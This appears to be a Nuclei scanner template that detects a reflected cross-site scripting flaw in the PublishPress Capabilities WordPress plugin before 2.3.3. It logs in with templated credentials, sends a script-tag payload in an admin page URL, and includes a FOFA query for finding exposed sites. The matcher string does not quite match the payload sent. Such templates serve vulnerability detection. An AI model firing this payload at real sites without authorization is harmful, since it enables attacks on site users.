漏洞描述
The PublishPress Capabilities plugin for WordPress before 2.3.3 does not escape a form action URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting (XSS).
id: wp-publishpress-capabilities-xss
info:
name: PublishPress Capabilities < 2.3.3 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The PublishPress Capabilities plugin for WordPress before 2.3.3 does not escape a form action URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting (XSS).
remediation: |
Update the PublishPress Capabilities plugin to version 2.3.3 or later.
reference:
- https://wpscan.com/vulnerability/88a57716-6e8b-4e98-884d-5534074c601a/
classification:
cwe-id: CWE-79
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
metadata:
max-request: 2
verified: true
fofa-query: body="/wp-content/plugins/capability-manager-enhanced"
tags: xss,wordpress,wp-plugin,wp,capability-manager-enhanced,authenticated,vuln
http:
- raw:
- |
POST /wp-login.php?redirect_to=http%3A%2F%2F{{Hostname}}%2Fwp-admin%2Foptions-general.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=pp-capabilities-roles&a%22%3E%3Cscript%3Ealert("document.domain")%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "<script>alert(document_domain)</script>"
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a004830460221009e804697e00b0636d8551bafe4794a712ae41fc667dfb1ed047a7f2afe809e13022100b8633fee2dbfdc9451bbf8237d08e86c762c6bdce821d25d1af843f713b0cd86:922c64590222798bb761d5b6d8e72950